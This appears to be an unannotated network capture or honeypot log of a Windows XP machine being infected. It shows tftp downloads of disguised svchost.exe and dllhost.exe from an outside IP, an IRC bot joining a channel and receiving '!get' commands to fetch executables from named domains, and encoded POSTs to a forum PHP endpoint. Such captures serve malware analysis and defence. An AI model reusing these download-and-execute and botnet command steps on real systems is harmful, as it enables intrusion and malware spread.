VICTIM: Microsoft Windows XP [Version 5.1.2600] VICTIM: (C) Copyright 1985-2001 Microsoft Corp.C:\\WINDOWS\\system32> VICTIM: dir wins\\dllhost.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\winsFile Not FoundC:\\WINDOWS\\system32> VICTIM: dir dllcache\\tftpd.exe VICTIM: Volume in drive C has no label. Volume Serial Number is 3CF1-1DE8 Directory of C:\\WINDOWS\\system32\\dllcacheFile Not FoundC:\\WINDOWS\\system32> VICTIM: tftp -i 110.14.197.56 get svchost.exe wins\\SVCHOST.EXE VICTIM: \000\001svchost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: \000\004\000) VICTIM: \000\004\000* VICTIM: \000\004\000+ VICTIM: \000\004\000, VICTIM: \000\004\000- VICTIM: \000\004\000. VICTIM: \000\004\000/ VICTIM: \000\004\0000 VICTIM: \000\004\0001 VICTIM: \000\004\0002 VICTIM: \000\004\0003 VICTIM: \000\004\0004 VICTIM: \000\004\0005 VICTIM: \000\004\0006 VICTIM: \000\004\0007 VICTIM: \000\004\0008 VICTIM: \000\004\0009 VICTIM: \000\004\000: VICTIM: Transfer successful: 29184 bytes in 14 seconds, 2084 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: \000\001dllhost.exe\000octet\000 VICTIM: \000\004\000\001 VICTIM: tftp -i 110.14.197.56 get dllhost.exe wins\\DLLHOST.EXE VICTIM: \000\004\000\002 VICTIM: \000\004\000\003 VICTIM: \000\004\000\004 VICTIM: \000\004\000\005 VICTIM: \000\004\000\006 VICTIM: \000\004\000\007 VICTIM: \000\004\000\010 VICTIM: \000\004\000\t VICTIM: \000\004\000 VICTIM: \000\004\000\013 VICTIM: \000\004\000\014 VICTIM: \000\004\000 VICTIM: \000\004\000\016 VICTIM: \000\004\000\017 VICTIM: \000\004\000\020 VICTIM: \000\004\000\021 VICTIM: \000\004\000\022 VICTIM: \000\004\000\023 VICTIM: \000\004\000\024 VICTIM: \000\004\000\025 VICTIM: \000\004\000\026 VICTIM: \000\004\000\027 VICTIM: \000\004\000\030 VICTIM: \000\004\000\031 VICTIM: \000\004\000\032 VICTIM: \000\004\000\033 VICTIM: \000\004\000\034 VICTIM: \000\004\000\035 VICTIM: \000\004\000\036 VICTIM: \000\004\000\037 VICTIM: \000\004\000 VICTIM: \000\004\000! VICTIM: \000\004\000\ VICTIM: \000\004\000# VICTIM: \000\004\000\$ VICTIM: \000\004\000% VICTIM: \000\004\000& VICTIM: \000\004\000' VICTIM: \000\004\000( VICTIM: Transfer successful: 19968 bytes in 9 seconds, 2218 bytes/s VICTIM: C:\\WINDOWS\\system32> VICTIM: wins\\DLLHOST.EXE VICTIM: NICK xfpqzeilUSER p020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG xfpqzeil :!get http:/ghyt54.com/pac33.txt:u. PRIVMSG xfpqzeil :!get http:/ghyt54.com/temp/fast.exe VICTIM: GET /pac33.txt HTTP/1.0User-Agent: DownloadHost: ghyt54.comPragma: no-cache ATTACKER: PING :k. ATTACKER: GET /temp/fast.exe HTTP/1.0User-Agent: DownloadHost: ghyt54.comPragma: no-cache ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: NICK qpuobuffUSER q020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG qpuobuff :!get http:/largokal.net/ex.exe:u. PRIVMSG qpuobuff :!get http:/ghyt54.com/pac33.txt:u. PRIVMSG qpuobuff :!get http:/ghyt54.com/temp/fast.exe ATTACKER: GET /ex.exe HTTP/1.0User-Agent: DownloadHost: largokal.netPragma: no-cache ATTACKER: GET /pac33.txt HTTP/1.0User-Agent: DownloadHost: ghyt54.comPragma: no-cache VICTIM: \002\000\000\000c\255@\316o2!\022\250\277\302\372\343\207\266P VICTIM: '\354\024\217D2!\022\241\277\302\372\344\207\266P\270\277\302\372\224\356\330&\315\315\302\377\343\207\266Q\250\277\302\322\351\207\266P\250\277\302'\354\024\217Z2!\022\241\277\302\372\346\207\266P\264\277\302\372\212\351\320?\250\273\t\277k\356+\314<\275\302\372\343\355\3277\235\206\302\372\343\207\264P\250C=\321\343&\343\004\340g2!\022 ATTACKER: GET /temp/fast.exe HTTP/1.0User-Agent: DownloadHost: ghyt54.comPragma: no-cache VICTIM: \340\004\356s2!\022\240\277\302\372\347\207\266P\317\332\266\234\212\353\323P\302\336\245\372&\343\004\340g2!\022 VICTIM: \0224\001\000\000\001\000\000\000\000\000\000\010poilka09\003com\000\000\001\000\001 VICTIM: POST /forum/be08676aa6521d6d8c60ea587a8e144a.php HTTP/1.0Host: gamesnetforum.ruContent-type: application/x-www-form-urlencodedContent-length: 147Data=be8e2d837ce50c252c1d0f4379530139f80e048101f19e2bd463c4981bad16ad1d4db0f3be6ad5f5484fa73952c2be124943bfaa7fd66dab67fa8025e2ccfdabd3b1c8814a494e VICTIM: POST /forum/be08676aa6521d6d8c60ea587a8e144a.php HTTP/1.0Host: gamesnetforum.ruContent-type: application/x-www-form-urlencodedContent-length: 147Data=be8e2d837ce50c252c1d0f4379530139f80e048101f19e2bd463c4981bad16ad1d4db0f3be6ad5f5484fa73952c2be124943bfaa7fd66dab67fa8025e2ccfdabd3b1c8814a494e